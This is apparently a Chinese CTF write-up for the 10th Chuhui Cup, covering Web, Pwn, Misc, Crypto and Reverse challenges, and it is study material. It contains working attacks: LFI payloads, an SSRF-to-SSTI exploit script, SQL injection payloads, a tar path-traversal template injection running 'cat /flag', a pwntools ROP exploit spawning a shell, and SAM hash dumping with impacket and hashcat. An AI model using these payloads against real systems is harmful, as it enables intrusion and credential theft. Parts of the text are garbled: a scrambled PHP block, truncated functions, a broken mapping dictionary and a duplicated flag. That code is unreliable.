跳到主要内容
第十届“楚慧杯”网络安全竞赛 WP 解析 | 极客日志
Python AI 算法
第十届“楚慧杯”网络安全竞赛 WP 解析 综述由AI生成 第十届“楚慧杯”网络安全竞赛解题报告,涵盖签到题、Web、Pwn、Misc、Crypto、Reverse 六大板块。Web 部分涉及路径穿越、SSTI 注入及 SSRF 利用;Pwn 基于格式化字符串漏洞进行栈溢出攻击;Misc 包含隐写、零宽字符编码及压缩包处理;Crypto 挑战涉及 DSA 变种格攻击与 GCD 问题;Reverse 分析 TEA 加密及混淆脚本还原。整体展示了多种安全攻防技术与工具链的应用。
灭霸 发布于 2026/3/16 更新于 2026/6/1 32 浏览签到题
题目名称:【填空题 1】
题目内容:如果在正常样本中人为故意地掺入噪声干扰以误导智能算法,使智能算法产生错误结果,那么这种噪声干扰的样本被称为______。
题目分值:20.0
题目难度:非常容易
flag: 对抗样本
题目名称:【填空题 2】
题目内容:面向整车全生命周期网络安全工程的国际标准(ISO/SAE ______(填标准编号) Road vehicles — Cybersecurity engineering),已成为车联网威胁建模与安全需求分解的主线标准。
题目分值:20.0
题目难度:非常容易
flag: 21434
题目名称:【填空题 3】
题目内容:物联网设备的________管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。
题目分值:20.0
题目难度:非常容易
flag: 密钥
WEB
拯救芙莉莲
提示存在宝箱。
目录扫描存在 robots.txt。
访问发现 Notice 报错,尝试路径穿越。
存在 WAF 过滤了常见绕过内容。
php://filter 用于读取源码 。
php://input 用于执行 php 代码 。
使用 php://filter 读取源代码并进行 base64 编码输出。
输入:php://filter/convert.base64-encode/resource=文件路径
拿到 base64 加密后的源码,发现存在危险后门利用 spell。
$blacklist = array(
'flag' ,
'php://input' ,
'data://' ,
'expect://' ,
'file://' ,
'glob://' ,
'phar://' ,
'/etc/passwd' ,
'/etc/shadow' ,
'win.ini' ,
'../' ,
'..\\' ,
);
foreach ($blacklist as $bad) {
if (stripos($file, $bad) !== false) {
die('❌ 魔法屏障阻止了你的尝试' );
}
}
include($file);
天哪,芙芙被宝箱怪困住了,你能施法帮她脱离困境吗?
if (isset ($_GET ['spell' ])) {
echo '🔓 解开宝箱怪的封印' ;
$forbidden = ( , , , , , );
( ) {
( ( , ) !== ) {
( );
}
}
}
array
'system'
'exec'
'passthru'
'shell_exec'
'popen'
'proc_open'
foreach
$forbidden
as
$bad
if
stripos
$spell
$bad
false
die
'⚠️ 检测到禁忌的黑魔法!'
尝试绕过黑名单,发现可以使用 file_get_contents。
Payload: ?spell=php%20-r%20%22echo%20file_get_contents(%27/%27.%27fl%27.%27ag%27);%22
DASCTF{43542918692992637148528288213513}
cybers 初始功能界面。
File reader 可以读取源码,有明显的路径穿越。
@app.route('/relay' , methods=["POST" ] )
def relay ():
target_port = int (request.form['port' ])
payload = request.form['data' ]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1' , target_port))
sock.send(payload.encode())
后端 /market 路由使用 render_template_string 渲染用户输入,存在 SSTI 注入。
传入 amount=-9223372036854775808(int64 最小值),使 session['credits'] = -9223372036854775808。
最终构造思路:SSRF -> NumPy int64 溢出 -> SSTI 注入 -> SUID 提权。
import requests
import re
import urllib.parse
TARGET = "http://45.40.247.139:21112"
def relay (payload ):
r = requests.post(TARGET + "/relay" , data={"port" : "5000" , "data" : payload})
return r.text
def get_cookie (resp ):
m = re.search(r"session=([^;]+)" , resp)
if not m:
raise Exception("Session cookie not found" )
return m.group(1 )
print ("[*] Step1 初始化 backend session" )
req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
resp = relay(req)
cookie = get_cookie(resp)
print ("[*] Step2 触发 numpy int64 溢出" )
req = f"""GET /hack?amount=-9223372036854775808 HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
"""
resp = relay(req)
cookie = get_cookie(resp)
print ("[*] Step3 构造 SSTI payload" )
payload = r"""{%set u=lipsum|string|batch(19)|first|last%}{%set uu=u~u%}..."""
form = f"fragment={urllib.parse.quote(payload)} "
http_req = f"""POST /market HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
Content-Type: application/x-www-form-urlencoded
Content-Length: {len (form)}
{form}
"""
print ("[*] Step4 发送最终 exploit" )
resp = requests.post(TARGET + "/relay" , data={"port" : "5000" , "data" : http_req})
print (resp.text)
DASCTF{19877688953357159162992897195575}
Fisafopil
经过测试发现有 admin 用户,前端进行 16 进制加密,后端再进行 16 进制解密,login 接口可以打 SQL 盲注,edit-profile 接口可以利用 cursor.execute 进行堆叠注入。
SQL 盲注拿到 admin 的密码 hash。
下载源码进行分析,发现两个接口有 SQL 注入点。
import requests
import binascii
import time
url = "http://45.40.247.139:30675/login"
def to_hex (s ):
return '' .join(hex (ord (c))[2 :] for c in s)
def blind_inject (condition ):
payload = f"admin' AND ({condition} ) – "
hex_payload = to_hex(payload)
data = {"username" : hex_payload, "password" : to_hex("a" )}
try :
response = requests.post(url, data=data, allow_redirects=False )
if response.status_code == 400 :
return True
elif response.status_code == 500 :
return False
except :
pass
return None
堆叠注入拿到 admin 的密码 hash。
Payload: x'; UPDATE users SET email=(SELECT password FROM users WHERE username='admin') WHERE username='a'; –
然后使用 md5 长度扩展攻击。
admin 的原始长度在代码中有为 16。
使用代码生成扩展的 md5。
def length_extension (known_hash_hex, ml, ext ):
new_hash = _md5_from_state(state, ext + _pad(tl))
return new_hash, glue + ext
使用扩展的 md5 覆盖原先的 admin 的密码哈希。
Payload: x'; UPDATE users SET password='85316b33e481da3658de1697a56da2c7' WHERE username='admin'; –
任意文件覆盖,上传一个 jinja2 的 ssti 的 tar 包即可。
echo -n '{{ lipsum.globals["os"].popen("cat /flag").read() }}' > payload.txt && tar -cf - cfloit.tar --transform='s/payload.txt/../../../templates/info.html/' payload.txt
flag: DASCTF{19877688953357159162992897195575}
PWN
题目名称:house_1 题目内容:Can you get a proper house
先 IDA 查看,全保护。
从栈上获得的第 8 个地址和 PIE 的偏移为 0x14a0。
rdi 与 pie 的偏移是 0x1503。
然后发现栈上第 13 个地址是 canary,构造第一个 payload 获得 puts 在内存中的地址,算出 libc 基地址然后计算得到 system 和 binsh 地址。
再次构造 payload 获得 shell。
flag: DASCTF{COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse}
from pwn import *
import os
context(os='linux' , arch='amd64' , log_level='info' )
libdir = '/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'
ld = libdir + '/ld-2.31.so'
path = './pwn'
p = remote('45.40.247.139' , 18607 )
elf = ELF(path)
libc = ELF('./libc.so.6' )
def sla (a, b ): p.sendlineafter(a, b)
def ru (a ): p.recvuntil(a)
def sa (a, b ): p.sendafter(a, b)
sla(b">> " , b"2" )
sla(b"Please write your name:" , b"%8$p" )
ru(b"the name is:\n" )
pie_leak = int (p.recvline().strip(), 16 )
log.info('pie_leak:' + hex (pie_leak))
pie = pie_leak - 0x14a0
sla(b">> " , b"2" )
sla(b"Please write your name:" , b"%13$p" )
ru(b"the name is:\n" )
leak = int (p.recvline().strip(), 16 )
sla(b">> " , b"2" )
sla(b"Please write your name:" , fmtstr_payload(6 , {pie + 0x4010 : 0x100 }))
sla(b">> " , b"3" )
rdi = pie + 0x1503
pay = b"a" * 0x48 + p64(leak) + p64(0 ) + p64(rdi) + p64(pie + elf.got["puts" ]) + p64(pie + elf.plt["puts" ]) + p64(pie + 0x13cf )
sla(b"Please write your content" , pay)
libc_base = u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) - libc.sym["puts" ]
system = libc_base + libc.sym["system" ]
binsh = libc_base + next (libc.search(b"/bin/sh\x00" ))
sla(b">> " , b"3" )
rdi = pie + 0x1503
pay = b"a" * 0x48 + p64(leak) + p64(0 ) + p64(rdi) + p64(binsh) + p64(pie + 0x101a ) + p64(system)
sla(b"Please write your content" , pay)
p.interactive()
MISC
题目名称:game_go_1 题目内容:game_go 提示:原始两段边界处都有 -,拼接上,flag 不是标准 UUID 格式。
MSCF 是 Microsoft Cabinet 的文件头特征。如果能在 exe 中找到 MSCF,基本可以确定 exe 后面挂了 CAB 资源包。
解出后得到典型的 RPG Maker VX Ace 项目结构。
strings -a Weapons.rvdata2 | grep -E "DASCTF|flag|[0-9a-f-]{8,}"
所以目前可组合为:DASCTF{1168cb17-31ff-43b7-
拼接得到:flag: DASCTF{1168cb17-31ff-43b7–b586-8414d383afce}
SAM_and_Steg 题目提示 sam 和图片隐写。
先看 sam 文件,后缀存在明显的密文 p@s4w0rd。
System 明显的都是用户的 hash 值,尝试 impacket 提取管理员 hash 值。
impacket-secretsdump -sam sam -system system LOCAL
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
爆破匹配 Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
拿到第二个密文 !checkerboard1。
题目提示隐写,尝试提取图片特征。
存在图片特征,提示 openssl 3.0.11。
用第一层密码提取 aes256。
openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd
gunzip -c aes.dec > output.tar
DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
题目名称:Time_and_chaos_1 题目内容:混沌初开,时间流逝。
脚本来合成图片看一下右上角。
from PIL import Image, ImageOps
import numpy as np
imgs = []
for i in range (1 , 9 ):
img = Image.open (f"{i} .png" ).convert("RGB" )
imgs.append(np.array(img, dtype=np.uint8))
mean_img = np.mean(np.stack(imgs, axis=0 ), axis=0 ).astype(np.uint8)
Image.fromarray(mean_img).save("mean.png" )
inv = ImageOps.invert(Image.fromarray(mean_img))
inv.save("mean_inv.png" )
flag.txt 里面有一些零宽字符。
U+200C, U+200D, U+202C, FEFF。
每个字符对应 2 bit,4 个字符正好表示 00, 01, 10, 11。
映射关系:0x200C -> 00, 0x200D -> 01, 0x202C -> 10, 0xFEFF -> 11。
把这些 bit 拼起来,再每 8 位还原成字节。
s = open ("flag.txt" , "r" , encoding="utf-8" ).read()
zw = "" .join(ch for ch in s if ord (ch) in (0x200C , 0x200D , 0x202C , 0xFEFF ))
mapping = {0x200C : "00" , 0x200D : "01" , 0x202C : "10" , 0xFEFF : "11" }
bits = "" .join(mapping[ord (ch)] for ch in zw)
data = bytes (int (bits[i:i+8 ], 2 ) for i in range (0 , len (bits), 8 ))
text = data.decode("utf-16-be" )
拼接得到 DASCTF{Logistic_and_time_fly}
CRYPTO
题目名称:Flip 题目内容:Seems so many bits known!
这是一个'伪 DSA'签名,5 个 nonce 不是完全随机,而是每个字节都长成 10101xyz,也就是每字节只剩 3 位未知。这个结构足够做格攻击/隐藏数攻击来把私钥 d 解出来。
题目里 5 组签名满足 s = inverse(k,p) * (i + r*d) % p。
我把第 0 组和第 1 组签名联立,消掉私钥 d,把每个 nonce 的 32 个未知低 3 位当作 64 个小变量,构造单个模 p 的线性同余,再用 BKZ + CVP 把这 64 个变量恢复出来。
from sage.all import *
import string
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [(...), (...), (...), (...), (...)]
K0 = Integer(int .from_bytes(bytes ([0xA8 ])*32 ,"big" ))
def build_pair_equation (a, b ):
r_a, s_a = map (Integer, sigs[a])
r_b, s_b = map (Integer, sigs[b])
coeffs = []
for j in range (32 ):
coeffs.append((r_b * s_a * (Integer(1 )<<(8 * j)))% p)
for j in range (32 ):
coeffs.append((-r_a * s_b * (Integer(1 )<<(8 * j)))% p)
rhs = (r_b * a - r_a * b - (r_b * s_a - r_a * s_b)* K0)% p
return coeffs, rhs
def try_recover_from_pair (a, b, X=20 , block_size=30 ):
coeffs, rhs = build_pair_equation(a, b)
n = len (coeffs)
target = (rhs - 3 *sum (coeffs))% p
B = Matrix(ZZ, n + 2 , n + 2 )
B[0 ,0 ]= p
for i in range (n):
B[i + 1 ,0 ]= coeffs[i]
B[i + 1 , i + 1 ]=1
B[n + 1 ,0 ]= target
B[n + 1 , n + 1 ]= X
B = B.LLL()
try : B = B.BKZ(block_size=block_size)
except Exception: pass
return uniq
pairs = [(0 ,1 ),(0 ,2 ),(0 ,3 ),(0 ,4 ),(1 ,2 ),(1 ,3 ),(1 ,4 )]
X_list = [8 ,12 ,16 ,20 ,24 ,32 ]
found = False
for pair in pairs:
a, b = pair
for X in X_list:
try :
cands = try_recover_from_pair(a, b, X=X, block_size=30 )
except Exception as e:
continue
for xs in cands:
res = check_candidate(pair, xs)
if res is None : continue
body = res["prefix" ].decode(errors="ignore" )
print ("flag =" ,"DASCTF{" + body +"}" )
found = True
break
if found: break
if found: break
flag: DASCTF{Just_f3w_Bit5_fl1pp1ng}
题目名称:GCD,杠上了 题目内容:又是 GCD,我该如何得到公共因数 p 的值呢 请使用"DASCTF{"+sha256(hex(p).encode()).hexdigest()[:32]+"}"计算得到 flag。
p 是 768bit 素数,q 是 1000bit 素数,e 作为噪声。
生成四个 x 满足 x=pqi+ei。
虽然 x 不是严格的 p 的倍数,但是一定也很接近。
相对于 pq,乘起来就是 1768bit 左右。
而 e 在 [-2^255, 2^255],即 256bit,所以误差 ei 其实是很小的。
攻击思路:构造某种线性组合,去把 pqi 消去,保留较小的 e,再通过格上断向量找出来。
考虑 q0x1−q1x0,展开后主项抵消,剩下 q0e1−q1e0。
取 X0 作为基准,构造如下矩阵。
LLL 后,这个关系很有可能出现在约化基中。
得到 q0~q3 后,对 x/q 以及附近的几个值做检查,选出让误差 e 都落在范围内的候选,即为 p。
最后再计算哈希即可。
from hashlib import sha256
from sage.all import *
rho = 256
eta = 768
xs = [...]
def recover_candidates (xs ):
x0 = xs[0 ]
B = Matrix(ZZ,[[2 ^(rho+1 ), xs[1 ], xs[2 ], xs[3 ]],
[0 ,-x0,0 ,0 ],[0 ,0 ,-x0,0 ],[0 ,0 ,0 ,-x0]])
L = B.LLL()
cands = []
for row in L.rows():
row = [ZZ(v) for v in row]
if row[0 ]==0 : continue
if abs (row[0 ])%(2 ^(rho+1 ))!=0 : continue
q0 = abs (row[0 ])//(2 ^(rho+1 ))
if q0 <= 0 : continue
return uniq
cands = recover_candidates(xs)
for i,(p, qs, es) in enumerate (cands):
print (f"flag = {flag_of_p(p)} " )
flag: eead8ea2b3519a2273a5292375e31009
RE
眼见为虚_1 打开先查找字符串信息,发现 wrong flag right flag 字符串,判断可能为判断逻辑直接定位到附近。
发现 sub_401522 可能为函数判断逻辑,进去后发现 sub_402B68 是一个最终验证函数,把前面已经处理过的输入,和程序内置的 40 字节目标数组逐字节比较。
sub_4014F0(v4) 很明显就是对输入做处理的函数。
这些是按小端序存放的,因此展开后的 40 字节目标数组为:33 56 e8 01 6f 84 e4 a3 43 73 8e 26 5e f0 fd a1 15 75 88 20 08 a4 a6 a5 15 75 88 23 5d f0 fa f0 41 71 de 75 09 a1 f9 e8。
程序最后比较的是经过处理后的输入与这 40 字节是否完全一致。
进去后发现 4014f0 不是直接处理数据,而是通过对象/虚表调用两个函数,大概率应该生成 key 应该处理用户输入。
这是一段 TEA 风格的变换代码。
a1[2] = 0x18274A3A, a1[3] = 0x24F8D42F, a1[4] = 0x9C8793BF, a1[5] = 0xBB5C1044, a1[6] = 0x2FEA4F74, a1[7] = 0xA142ED8B。
经过 32 轮后,得到:5C FC A0 27 20 A7 84 7A。
还原脚本:
import struct
target = bytes .fromhex("3356e8016f84e4a343738e265ef0fda11575882008a4a6a5157588235df0faf04171de7509a1f9e8" )
k1 = 0x27A0FC5C
k2 = 0x7A84A720
key = struct.pack("<II" , k1, k2)
flag = bytes ([target[i] ^ ((key[i % 8 ] + 0x1B ) & 0xFF ) for i in range (40 )])
print (flag.decode())
运行结果:DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
eazy_code-new 直接拖进 IDA 观察,可以发现这不是常规的 PE/ELF 可执行文件,而是一个纯文本脚本文件,而且内容是大量类似下面这种奇怪变量名的拼接形式。
这种特征非常像 PowerShell 混淆脚本,本质是用变量名代替数字,再拼出 [char]99+[char]108+… 这种字符流,最后动态执行。
结合整体格式可以判断:${]} -> 0, ${!;} -> 1, ${ @ } -> 2, ${=} -> 3, ${ \]} -> 4, ${!} -> 5, ${#.} -> 6, ${(} -> 7, ${)} -> 8, ${```*%} -> 9。
而 {%} 被构造成了:[char]。
于是原始大串内容实际上等价于:[char]99+[char]108+[char]97+[char]115+[char]115+…
import re
with open ("eazy_code" , "r" , encoding="utf-8" , errors="ignore" ) as f:
raw = f.read()
m = re.search(r'${@*}\s*=\s*"(.*)"\s*|\s*.${-``}' , raw, re.S)
payload = m.group(1 )
mp = {'${\]}' : '0' , '${!;*}' : '1' , '${*@ }' : '2' , '${=`' }': ' 3 ', ' ${ \]}': ' 4 ', ' ${!}': ' 5 ', ' ${
for k in sorted (mp, key=len , reverse=True ):
payload = payload.replace(k, mp[k])
nums = re.findall(r'[char](\[0-9\]+)' , payload)
decoded = '' .join(chr (int (x)) for x in nums)
with open ("stage2.txt" , "w" , encoding="utf-8" ) as f:
f.write(decoded)
class chiper ():
def __init__ (self ):
self .d = 0x87654321
k0 = 0x67452301
k1 = 0xefcdab89
k2 = 0x98badcfe
k3 = 0x10325476
self .k = [k0, k1, k2, k3]
这说明表面是 PowerShell,实际隐藏的核心逻辑是一段 Python 校验器。
后面 check() 函数中有目标数组 ans = [1374278842, 2136006540, 4191056815, 3248881376]。
并且有长度限制:if length % 8: exit(1),说明输入长度必须是 8 的倍数。
bytes2ints() 会把输入按每 8 字节分组,再拆成两个 little-endian 的 uint32。
而 ans 一共 4 个 uint32,因此原始输入长度应为:4 个 uint32 = 16 字节。
即 flag 内部实际输入应为 16 个字符,程序采用自定义 XXTEA/Block TEA 变种对输入进行加密,再与固定数组 ans 比较,满足则输出。
既然 ans 是加密后的 4 个 uint32,那么只要把这个过程逆过来,就能得到原始 16 字节输入。
from ctypes import c_uint32
import struct
def MX (z, y, total, key, p, e ):
temp1 = (z.value >> 6 ^ y.value << 4 ) + (y.value >> 2 ^ z.value << 5 )
temp2 = (total.value ^ y.value) + (key[(p & 3 ) ^ e.value] ^ z.value)
return c_uint32(temp1 ^ temp2)
def decrypt (v, key, delta ):
n = len (v)
rounds = 6 + 52 // n
total = c_uint32((rounds * delta) & 0xffffffff )
v = [c_uint32(x).value for x in v]
while rounds > 0 :
e = c_uint32((total.value >> 2 ) & 3 )
z = c_uint32(v[n - 2 ])
y = c_uint32(v[0 ])
v[n - 1 ] = c_uint32(v[n - 1 ] - MX(z, y, total, key, n - 1 , e).value).value
for p in range (n - 2 , -1 , -1 ):
z = c_uint32(v[p - 1 ] if p > 0 else v[n - 1 ])
y = c_uint32(v[p + 1 ])
v[p] = c_uint32(v[p] - MX(z, y, total, key, p, e).value).value
total.value = c_uint32(total.value - delta).value
rounds -= 1
return v
key = [0x67452301 , 0xefcdab89 , 0x98badcfe , 0x10325476 ]
ans = [1374278842 , 2136006540 , 4191056815 , 3248881376 ]
plain = decrypt(ans, key, 0x87654321 )
flag_inner = struct.pack('<4I' , *plain).decode()
print (flag_inner)
运行结果:flag:yOUar3g0oD@tPw5H
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
RSA密钥对生成器 生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online
Mermaid 预览与可视化编辑 基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online
随机西班牙地址生成器 随机生成西班牙地址(支持马德里、加泰罗尼亚、安达卢西亚、瓦伦西亚筛选),支持数量快捷选择、显示全部与下载。 在线工具,随机西班牙地址生成器在线工具,online
Gemini 图片去水印 基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online